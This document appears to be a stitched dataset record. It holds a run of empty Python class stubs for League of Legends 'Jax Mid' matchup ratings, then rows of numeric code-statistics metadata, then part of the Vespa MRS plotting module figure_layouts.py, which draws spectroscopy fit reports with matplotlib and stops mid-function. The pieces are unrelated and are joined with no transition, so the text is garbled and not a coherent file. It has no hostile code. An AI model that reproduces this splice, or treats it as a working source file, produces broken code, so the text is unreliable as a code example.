class NA_Jax_Mid_Jhin(Ratings):
pass
class NA_Jax_Mid_Jinx(Ratings):
pass
class NA_Jax_Mid_Kalista(Ratings):
pass
class NA_Jax_Mid_Karma(Ratings):
pass
class NA_Jax_Mid_Karthus(Ratings):
pass
class NA_Jax_Mid_Kassadin(Ratings):
pass
class NA_Jax_Mid_Katarina(Ratings):
pass
class NA_Jax_Mid_Kayle(Ratings):
pass
class NA_Jax_Mid_Kayn(Ratings):
pass
class NA_Jax_Mid_Kennen(Ratings):
pass
class NA_Jax_Mid_Khazix(Ratings):
pass
class NA_Jax_Mid_Kindred(Ratings):
pass
class NA_Jax_Mid_Kled(Ratings):
pass
class NA_Jax_Mid_KogMaw(Ratings):
pass
class NA_Jax_Mid_Leblanc(Ratings):
pass
class NA_Jax_Mid_LeeSin(Ratings):
pass
class NA_Jax_Mid_Leona(Ratings):
pass
class NA_Jax_Mid_Lissandra(Ratings):
pass
class NA_Jax_Mid_Lucian(Ratings):
pass
class NA_Jax_Mid_Lulu(Ratings):
pass
class NA_Jax_Mid_Lux(Ratings):
pass
class NA_Jax_Mid_Malphite(Ratings):
pass
class NA_Jax_Mid_Malzahar(Ratings):
pass
class NA_Jax_Mid_Maokai(Ratings):
pass
class NA_Jax_Mid_MasterYi(Ratings):
pass
class NA_Jax_Mid_MissFortune(Ratings):
pass
class NA_Jax_Mid_MonkeyKing(Ratings):
pass
class NA_Jax_Mid_Mordekaiser(Ratings):
pass
class NA_Jax_Mid_Morgana(Ratings):
pass
class NA_Jax_Mid_Nami(Ratings):
pass
class NA_Jax_Mid_Nasus(Ratings):
pass
class NA_Jax_Mid_Nautilus(Ratings):
pass
class NA_Jax_Mid_Nidalee(Ratings):
pass
class NA_Jax_Mid_Nocturne(Ratings):
pass
class NA_Jax_Mid_Nunu(Ratings):
pass
class NA_Jax_Mid_Olaf(Ratings):
pass
class NA_Jax_Mid_Orianna(Ratings):
pass
class NA_Jax_Mid_Ornn(Ratings):
pass
class NA_Jax_Mid_Pantheon(Ratings):
pass
class NA_Jax_Mid_Poppy(Ratings):
pass
class NA_Jax_Mid_Quinn(Ratings):
pass
class NA_Jax_Mid_Rakan(Ratings):
pass
class NA_Jax_Mid_Rammus(Ratings):
pass
class NA_Jax_Mid_RekSai(Ratings):
pass
class NA_Jax_Mid_Renekton(Ratings):
pass
class NA_Jax_Mid_Rengar(Ratings):
pass
class NA_Jax_Mid_Riven(Ratings):
pass
class NA_Jax_Mid_Rumble(Ratings):
pass
class NA_Jax_Mid_Ryze(Ratings):
pass
class NA_Jax_Mid_Sejuani(Ratings):
pass
class NA_Jax_Mid_Shaco(Ratings):
pass
class NA_Jax_Mid_Shen(Ratings):
pass
class NA_Jax_Mid_Shyvana(Ratings):
pass
class NA_Jax_Mid_Singed(Ratings):
pass
class NA_Jax_Mid_Sion(Ratings):
pass
class NA_Jax_Mid_Sivir(Ratings):
pass
class NA_Jax_Mid_Skarner(Ratings):
pass
class NA_Jax_Mid_Sona(Ratings):
pass
class NA_Jax_Mid_Soraka(Ratings):
pass
class NA_Jax_Mid_Swain(Ratings):
pass
class NA_Jax_Mid_Syndra(Ratings):
pass
class NA_Jax_Mid_TahmKench(Ratings):
pass
class NA_Jax_Mid_Taliyah(Ratings):
pass
class NA_Jax_Mid_Talon(Ratings):
pass
class NA_Jax_Mid_Taric(Ratings):
pass
class NA_Jax_Mid_Teemo(Ratings):
pass
class NA_Jax_Mid_Thresh(Ratings):
pass
class NA_Jax_Mid_Tristana(Ratings):
pass
class NA_Jax_Mid_Trundle(Ratings):
pass
class NA_Jax_Mid_Tryndamere(Ratings):
pass
class NA_Jax_Mid_TwistedFate(Ratings):
pass
class NA_Jax_Mid_Twitch(Ratings):
pass
class NA_Jax_Mid_Udyr(Ratings):
pass
class NA_Jax_Mid_Urgot(Ratings):
pass
class NA_Jax_Mid_Varus(Ratings):
pass
class NA_Jax_Mid_Vayne(Ratings):
pass
class NA_Jax_Mid_Veigar(Ratings):
pass
class NA_Jax_Mid_Velkoz(Ratings):
pass
class NA_Jax_Mid_Vi(Ratings):
pass
class NA_Jax_Mid_Viktor(Ratings):
pass
class NA_Jax_Mid_Vladimir(Ratings):
pass
class NA_Jax_Mid_Volibear(Ratings):
pass
class NA_Jax_Mid_Warwick(Ratings):
pass
class NA_Jax_Mid_Xayah(Ratings):
pass
class NA_Jax_Mid_Xerath(Ratings):
pass
class NA_Jax_Mid_XinZhao(Ratings):
pass
class NA_Jax_Mid_Yasuo(Ratings):
pass
class NA_Jax_Mid_Yorick(Ratings):
pass
class NA_Jax_Mid_Zac(Ratings):
pass
class NA_Jax_Mid_Zed(Ratings):
pass
class NA_Jax_Mid_Ziggs(Ratings):
pass
class NA_Jax_Mid_Zilean(Ratings):
pass
class NA_Jax_Mid_Zyra(Ratings):
pass
| 14.702638
| 46
| 0.750938
| 972
| 6,131
| 4.3107
| 0.151235
| 0.230549
| 0.329356
| 0.428162
| 0.784726
| 0.784726
| 0
| 0
| 0
| 0
| 0
| 0
| 0.18121
| 6,131
| 416
| 47
| 14.737981
| 0.834661
| 0
| 0
| 0.498195
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.498195
| 0.00361
| 0
| 0.501805
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 0
|
0
| 7
|
f42b6ec4ba231a4eff88fe634d47723aacce32bb
| 105,146
|
py
|
Python
|
vespa/analysis/figure_layouts.py
|
vespa-mrs/vespa
|
6d3e84a206ec427ac1304e70c7fadf817432956b
|
[
"BSD-3-Clause"
] | null | null | null |
vespa/analysis/figure_layouts.py
|
vespa-mrs/vespa
|
6d3e84a206ec427ac1304e70c7fadf817432956b
|
[
"BSD-3-Clause"
] | 4
|
2021-04-17T13:58:31.000Z
|
2022-01-20T14:19:57.000Z
|
vespa/analysis/figure_layouts.py
|
vespa-mrs/vespa
|
6d3e84a206ec427ac1304e70c7fadf817432956b
|
[
"BSD-3-Clause"
] | 3
|
2021-06-05T16:34:57.000Z
|
2022-01-19T16:13:22.000Z
|
# Python modules
import argparse
import os
import sys
import platform
import datetime
import xml.etree.cElementTree as ElementTree
# 3rd party modules
import numpy as np
import matplotlib as mpl
import matplotlib.table as mtable
from matplotlib.ticker import MultipleLocator, FormatStrFormatter, NullFormatter, MaxNLocator, AutoMinorLocator
from matplotlib.backends.backend_pdf import PdfPages
from matplotlib.backends.backend_agg import FigureCanvasAgg
# Our modules
import vespa.analysis.util_import as util_import
import vespa.common.util.ppm as util_ppm
import vespa.common.util.misc as util_misc
import vespa.common.util.time_ as util_time
from vespa.common.constants import DEGREES_TO_RADIANS as DTOR
def _pretty_space_text(left='', middle='', right='', total_width=77):
"""
keep position of left and right strings constant regardless of middle width
default width = 80 based on New Courier and 8 point font
"""
pad1 = " "*((total_width - len(middle))//2) # 145 spaces found empirically
pad2 = " "*((total_width - len(middle))%2) # deal with odd number of pad1 spaces
msg1 = left + pad1 + middle + pad1+pad2 + right
return msg1
def null_call( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
return []
def inline_error( errmsg,
fdatasets,
fpresets,
trace,
vespa_version='',
timestamp='',
fontname='Courier New',
dpi=None):
# Print Control Setting ----------------------
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
#--------------------------------------------------------------------------
# Gather information about the loaded data and presets
fdata = dict(fdatasets)
for key in list(fdata.keys()):
if fdata[key] is None: fdata[key] = 'None'
fpre = dict(fpresets)
for key in list(fpre.keys()):
if fpre[key] is None: fpre[key] = 'None'
msg = 'Data Metab: ' + fdata['metab'] + '\n'
msg += 'Data Water: ' + fdata['water'] + '\n'
msg += 'Data ECC : ' + fdata['ecc'] + '\n'
msg += 'Data Coil : ' + fdata['coil'] + '\n'
msg += '\n'
msg += 'Preset Metab: ' + fpre['metab'] + '\n'
msg += 'Preset Water: ' + fpre['water'] + '\n'
msg += 'Preset ECC : ' + fpre['ecc'] + '\n'
msg += 'Preset Coil : ' + fpre['coil'] + '\n'
middle = u"Fitting Failed - Error Report"
msg1 = _pretty_space_text(u"Vespa-Analysis Version: %s" % (vespa_version,), middle,
u"Processing Timestamp: %s" % (timestamp,), total_width=62)
if len(errmsg.args)==1:
msg2 = msg + u"\n\n" + u"Error Message : %s " % (errmsg.args[0], ) + u"\n\n" + "Traceback: \n"
else:
msg2 = msg + u"\n\n" + u"Error Message : %s, %s " % (errmsg.args[0][0], errmsg.args[0][1] ) + u"\n\n" + "Traceback: \n"
for item in errmsg.args[0][2:]:
msg2 += item + "\n"
msg2 += trace
# Create the figure
fig = mpl.figure.Figure(figsize=(10.24, 10.24), facecolor='white',dpi=dpi)
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
fig.subplots_adjust(hspace=0.001)
local_grey = (10. / 255., 10. / 255., 10. / 255.) # used to tweak font color locally
fig.text(0.042, 0.94, msg1, wrap=True,
horizontalalignment='left', verticalalignment='top',
fontsize=8, fontname=fontname)
fig.text(0.042, 0.89, msg2, wrap=True,
horizontalalignment='left', verticalalignment='top',
fontsize=8, fontname=fontname)
# fig.text(0.042, 0.65, msg2, wrap=True,
# horizontalalignment='left', verticalalignment='top',
# fontsize=8, fontname=fontname)
# fig.text(0.042, 0.55, trace, wrap=True,
# horizontalalignment='left', verticalalignment='top',
# fontsize=8, fontname=fontname)
fig.canvas.draw()
return [fig, ]
def lcm_like( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()):
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='output_refresh')
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=True,
noppm=True)
nfitcol = len(fit_data[0])
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0]
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfits *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
#--------------------------------------------------------------------------
# Create the figure
if extfig is None:
fig = mpl.figure.Figure(figsize=(11,8.5), facecolor='white')
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
else:
fig = extfig
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like landscape report
left, bottom = 0.06, 0.07 # set up for 8.5x11 landscape printout
w1, w2 = 0.55, 0.35
h1, h2 = 0.73, 0.07
hpad, vpad = 0.001, 0.001
rect1 = [left, bottom+h1, w1, h2] # xmin, ymin, dx, and dy
rect2 = [left, bottom, w1, h1]
rect4 = [left+w1+hpad, bottom, w2, h1+h2+0.015]
# Noise Residual Plot -----------------------------------------------------
dat1 = (freq - yfits - base)[imin:imax].real
min1, max1 = min(dat1),max(dat1)
delt1 = (max1 - min1)*0.75
min1, max1 = min1 - delt1, max1 + delt1
ax1 = fig.add_axes(rect1)
ax1.xaxis.set_major_formatter(nullfmt) # no x labels, have to go before plot()
ax1.plot(xvals, dat1, 'k', lw=1.0)
ax1.set_xlim(maxplot, minplot)
ax1.set_ylim(min1, max1)
ax1.set_xticks(xtick_range)
ax1.set_yticks([0.0, max1])
ax1.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
# Data, Fit, Baseline Plot ------------------------------------------------
dat2 = freq[imin:imax].real
dat2b = (yfits+base)[imin:imax].real
dat2c = base[imin:imax].real
min2, max2 = min(dat2),max(dat2)
delt2 = (max2 - min2)*0.05
min2, max2 = min2-delt2, max2+delt2
tmp = abs(max2) if abs(max2) > abs(min2) else abs(min2) # in case spectrum flipped
major2 = tmp/4.0
if major2 > 2.5:
major2 = np.round(major2,0)
ax2 = fig.add_axes(rect2)
ax2.plot(xvals, dat2, 'k', lw=1.0)
ax2.plot(xvals, dat2b, 'r', lw=1.5, alpha=0.7)
if not nobase:
ax2.plot(xvals, dat2c, 'g', lw=1.0)
ax2.set_ylabel('Spectral Data, Fit, Baseline', fontsize=8.0)
ax2.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax2.set_ylim(min2, max2)
ax2.set_xlim(maxplot, minplot)
ax2.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax2.yaxis.set_major_locator(MultipleLocator(major2)) # this is for even distrib across plot
ax2.yaxis.set_minor_locator(MultipleLocator(major2*0.5))
# TODO bjs - from brp512 layout
# ax0.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
# ax0.yaxis.set_minor_locator(AutoMinorLocator(2))
# Common Settings for both plot axes --------------------------------------
for ax in [ax1,ax2]:
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.25, linestyle='-', color='0.8')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=(0,(18,6)), color='0.8')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=(0,(6,18)), color='0.8')
# ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.8')
# Table Setup -------------------------------------------------------------
ax4 = fig.add_axes(rect4)
ax4.xaxis.set_major_formatter(nullfmt) # turn off axis markers
ax4.yaxis.set_major_formatter(nullfmt)
ax4.axis('off')
the_table = ax4.table(cellText=fit_data, cellLoc='left',
colLoc='left', colLabels=None, colWidths=None,
rowLoc='center', rowLabels=None,
fontsize=7.0, loc='upper center')
the_table.auto_set_font_size(False)
the_table.set_fontsize(7.0)
for item in range(len(fit_data[0])):
the_table.auto_set_column_width(item) # mpl bug requires that each col be added individually
table_props = the_table.properties()
cheight = table_props['children'][0].get_height() # all start with same default
keys = list(table_props['celld'].keys())
for key in keys: # use cell dict to test grid location for line settings
cell = table_props['celld'][key]
cell.set_height(1.0*cheight)
cell.get_text().set_fontname(fontname)
if key[0] in nsect: # this is a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'BLT'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'BRT'
else:
cell.visible_edges = 'BT'
cell.set_linewidth(1.0)
cell.set_linestyle('-')
cell.get_text().set_fontweight('bold')
else: # not a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'L'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BL'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'R'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BR'
else:
cell.visible_edges = ''
if key[0] == len(fit_data)-1: # last line in table
cell.visible_edges = 'B'
cell.set_linewidth(0.25)
cell.set_linestyle('-')
# Retrieve an element of a plot and set properties
for tick in ax2.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
for ax in [ax1,ax2]:
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(7.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
if ax == ax2:
tick.set_rotation(90)
middle = "Fitted - Full Model (Phase0/1 Corrected)" if fixphase else "Fitted - Full Model"
msg1 = _pretty_space_text("Vespa-Analysis Version: %s" % (vespa_version, ), middle, "Processing Timestamp: %s" % (timestamp, ))
fig.text(0.042, 0.94, msg1,
wrap=True,
horizontalalignment='left',
fontsize=8,
fontname=fontname)
msg = "Data Source : %s \nVIFF File : %s" % (data_source, viffname )
fig.text(0.042, 0.89, msg,
wrap=True,
horizontalalignment='left',
color=local_grey,
fontsize=8,
fontname=fontname)
fig.canvas.draw()
return [fig, ]
def lcm_square( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()):
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='output_refresh')
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=True,
noppm=True)
nfitcol = len(fit_data[0])
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
yfit.shape = 1,yfit.shape[0]
if fixphase:
x,y,z = voxel
ph0 = -block.fit_results[nmet*2+2,x,y,z]
ph1 = -block.fit_results[nmet*2+3,x,y,z]
piv = (dim0/2.0) - (dataset.frequency*(dataset.phase_1_pivot - dataset.resppm)/(dataset.sw/dim0))
arr1 = (np.arange(dim0) - piv)/dim0
ph0 = ph0 * DTOR
ph1 = ph1 * DTOR * arr1
phase = np.exp(1j * (ph0 + ph1))
freq *= phase
base *= phase
yfits *= phase
# Calculate full xaxis values
xvals = [dataset.pts2ppm(val) for val in range(dim0)]
minppm, maxppm = xvals[-1], xvals[0]
# Calculate xaxis range to plot, create tics
minplot = minplot if minplot >= minppm else minppm
maxplot = maxplot if maxplot <= maxppm else maxppm
imin = int(dataset.ppm2pts(maxplot))
imax = int(dataset.ppm2pts(minplot))
tmin = np.round((minplot+0.5)) # integer ppm just above minppm
tmax = np.round((maxplot-0.5)) # integer ppm just under maxppm
xtick_range = np.arange(tmin, tmax+1, 1.0)
xvals = xvals[imin:imax] # trim to plot width
#--------------------------------------------------------------------------
# Create the figure
if extfig is None:
fig = mpl.figure.Figure(figsize=(10.24,10.24), facecolor='white',dpi=dpi)
# A canvas must be manually attached to the figure (pyplot would automatically
# do it). This is done by instantiating the canvas with the figure as
# argument.
canvas = FigureCanvasAgg(fig)
else:
fig = extfig
fig.subplots_adjust(hspace=0.001)
nullfmt = NullFormatter() # used to suppress labels on an axis
local_grey = (10./255.,10./255.,10./255.) # used to tweak font color locally
# Layout for an LCModel-like landscape report
left, bottom = 0.06, 0.07 # set up for 8.5x11 landscape printout
w1, w2 = 0.55, 0.35
h1, h2 = 0.73, 0.07
hpad, vpad = 0.001, 0.001
rect1 = [left, bottom+h1, w1, h2] # xmin, ymin, dx, and dy
rect2 = [left, bottom, w1, h1]
rect4 = [left+w1+hpad, bottom, w2, h1+h2+0.015]
# Noise Residual Plot -----------------------------------------------------
dat1 = (freq - yfits - base)[imin:imax].real
min1, max1 = min(dat1),max(dat1)
delt1 = (max1 - min1)*0.75
min1, max1 = min1 - delt1, max1 + delt1
ax1 = fig.add_axes(rect1)
ax1.xaxis.set_major_formatter(nullfmt) # no x labels, have to go before plot()
ax1.plot(xvals, dat1, 'k', lw=1.0)
ax1.set_xlim(maxplot, minplot)
ax1.set_ylim(min1, max1)
ax1.set_xticks(xtick_range)
ax1.set_yticks([0.0, max1])
ax1.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
# Data, Fit, Baseline Plot ------------------------------------------------
dat2 = freq[imin:imax].real
dat2b = (yfits+base)[imin:imax].real
dat2c = base[imin:imax].real
min2, max2 = min(dat2),max(dat2)
delt2 = (max2 - min2)*0.05
min2, max2 = min2-delt2, max2+delt2
tmp = abs(max2) if abs(max2) > abs(min2) else abs(min2) # in case spectrum flipped
major2 = tmp/4.0
if major2 > 2.5:
major2 = np.round(major2,0)
ax2 = fig.add_axes(rect2)
ax2.plot(xvals, dat2, 'k', lw=1.0)
ax2.plot(xvals, dat2b, 'r', lw=1.5, alpha=0.7)
if not nobase:
ax2.plot(xvals, dat2c, 'g', lw=1.0)
ax2.set_ylabel('Spectral Data, Fit, Baseline', fontsize=8.0)
ax2.set_xlabel('Chemical Shift [ppm]', fontsize=8.0)
ax2.set_ylim(min2, max2)
ax2.set_xlim(maxplot, minplot)
ax2.ticklabel_format(axis='y', style='sci', scilimits=(-2,2))
ax2.yaxis.set_major_locator(MultipleLocator(major2)) # this is for even distrib across plot
ax2.yaxis.set_minor_locator(MultipleLocator(major2*0.5))
# TODO bjs - from brp512 layout
# ax0.yaxis.set_major_locator(MaxNLocator(nbins=4, prune='upper', integer=True, min_n_ticks=3))
# ax0.yaxis.set_minor_locator(AutoMinorLocator(2))
# Common Settings for both plot axes --------------------------------------
for ax in [ax1,ax2]:
ax.xaxis.set_major_locator(MultipleLocator(1)) # this is for even distrib across plot
ax.xaxis.set_minor_locator(MultipleLocator(0.2))
ax.grid(which='major', axis='x', linewidth=0.25, linestyle='-', color='0.8')
ax.grid(which='minor', axis='x', linewidth=0.25, linestyle=(0,(18,6)), color='0.8')
ax.grid(which='major', axis='y', linewidth=0.25, linestyle=(0,(6,18)), color='0.8')
# ax.grid(which='minor', axis='y', linewidth=0.25, linestyle=':', color='0.8')
# Table Setup -------------------------------------------------------------
ax4 = fig.add_axes(rect4)
ax4.xaxis.set_major_formatter(nullfmt) # turn off axis markers
ax4.yaxis.set_major_formatter(nullfmt)
ax4.axis('off')
the_table = ax4.table(cellText=fit_data, cellLoc='left',
colLoc='left', colLabels=None, colWidths=None,
rowLoc='center', rowLabels=None,
fontsize=7.0, loc='upper center')
the_table.auto_set_font_size(False)
the_table.set_fontsize(7.0)
for item in range(len(fit_data[0])):
the_table.auto_set_column_width(item) # mpl bug requires that each col be added individually
table_props = the_table.properties()
cheight = table_props['children'][0].get_height() # all start with same default
keys = list(table_props['celld'].keys())
for key in keys: # use cell dict to test grid location for line settings
cell = table_props['celld'][key]
cell.set_height(1.0*cheight)
cell.get_text().set_fontname(fontname)
if key[0] in nsect: # this is a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'BLT'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'BRT'
else:
cell.visible_edges = 'BT'
cell.set_linewidth(1.0)
cell.set_linestyle('-')
cell.get_text().set_fontweight('bold')
else: # not a header cell
if key[1] == 0: # - leftmost
cell.visible_edges = 'L'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BL'
elif key[1] == nfitcol-1: # - rightmost
cell.visible_edges = 'R'
if key[0] == len(fit_data)-1:
cell.visible_edges = 'BR'
else:
cell.visible_edges = ''
if key[0] == len(fit_data)-1: # last line in table
cell.visible_edges = 'B'
cell.set_linewidth(0.25)
cell.set_linestyle('-')
# Retrieve an element of a plot and set properties
for tick in ax2.xaxis.get_ticklabels():
tick.set_fontsize(8.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold') # 'normal'
for ax in [ax1,ax2]:
ax.xaxis.label.set_fontname(fontname)
ax.yaxis.label.set_fontname(fontname)
ax.yaxis.offsetText.set_fontname(fontname)
ax.yaxis.offsetText.set_fontsize(8.0)
for tick in ax.yaxis.get_ticklabels():
tick.set_fontsize(7.0)
tick.set_fontname(fontname)
tick.set_color(local_grey)
tick.set_weight('bold')
if ax == ax2:
tick.set_rotation(90)
middle = "Fitted - Full Model (Phase0/1 Corrected)" if fixphase else "Fitted - Full Model"
msg1 = _pretty_space_text("Vespa-Analysis Version: %s" % (vespa_version, ), middle,
"Processing Timestamp: %s" % (timestamp, ), total_width=62)
fig.text(0.042, 0.94, msg1,
wrap=True,
horizontalalignment='left',
fontsize=8,
fontname=fontname)
msg = "Data Source : %s \nVIFF File : %s" % (data_source, viffname )
fig.text(0.042, 0.89, msg,
wrap=True,
horizontalalignment='left',
color=local_grey,
fontsize=8,
fontname=fontname)
fig.canvas.draw()
return [fig, ]
def lcm_multipage_pdf( dataset,
viffpath='',
vespa_version='',
timestamp='',
fontname='Courier New',
minplot=0.1,
maxplot=4.9,
nobase=False,
extfig=None,
fixphase=False,
verbose=False,
debug=False,
quantvals=False,
voxel=None,
dpi=None):
"""
Some typical save type formats = 'svg' 'eps' 'pdf' 'png' 'raw' 'rgba' 'ps' 'pgf' etc.
Typical fontnames 'Consolas' 'Calibri' 'Courier New' 'Times New Roman'
minplot and maxplot are in PPM
"""
# Print Control Setting ----------------------
viffname = os.path.basename(viffpath) if viffpath else 'none'
if vespa_version == '':
vespa_version = util_misc.get_vespa_version() + ' (runtime)'
if timestamp == '':
timestamp = util_time.now().isoformat()
table_call = dataset.fit_results_in_table
if quantvals:
if 'quant' in list(dataset.blocks.keys()) and not dataset.blocks['quant'].is_identity:
table_call = dataset.quant_results_in_table
else:
quantvals = False
if voxel is None:
voxel = dataset.all_voxels[0]
data_source = dataset.blocks["raw"].get_data_source(voxel)
dim0, dim1, dim2, dim3 = dataset.spectral_dims
# estimate some layout scale issues ---------------------------------------
nmet = len(dataset.blocks['fit'].set.prior_list)
if nmet > 14:
d = {'fsiz4' : 7, 'vhead' : 0.8, 'vcell' : 0.7, 'pad' : 1}
else:
d = {'fsiz4' : 9, 'vhead' : 1.0, 'vcell' : 0.9, 'pad' : 0}
# Process 'fit' block to get results --------------------------------------
key = 'fit'
nmet = 1
if key in list(dataset.blocks.keys()):
block = dataset.blocks[key]
results = block.chain.run([voxel,], entry='plot_refresh') # NB. DIFFERENT FROM OTHER FIGURE CALLS
nmet = block.chain.nmet
lw = results['fitted_lw']
lwmin = results['minmaxlw'][0]
lwmax = results['minmaxlw'][1]
fit_data, nsect = table_call(voxel,
lw=lw,
lwmin=lwmin,
lwmax=lwmax,
fixphase=fixphase,
nozeros=False,
noppm=False,
pad=d['pad'],
format_float=True)
nfitcol = len(fit_data[0])
prior_list = list(block.set.prior_list)
if block.set.macromol_single_basis_dataset is not None:
prior_list.append('Mac')
else:
msg = r"This dataset has no 'fit' block, returning."
raise ValueError(msg)
# Gather Data -------------------------------------------------------------
freq = results['data'].copy()
base = results['fit_baseline'].copy()
yini = results['yini'].copy()
yfind = results['yfit'].copy() # indiv fitted metabs
yfit = results['yfit'].copy()
yfits = results['yfit'].copy() if len(yfit.shape)==1 else np.sum(yfit, axis=0)
if len(yfit.shape) == 1:
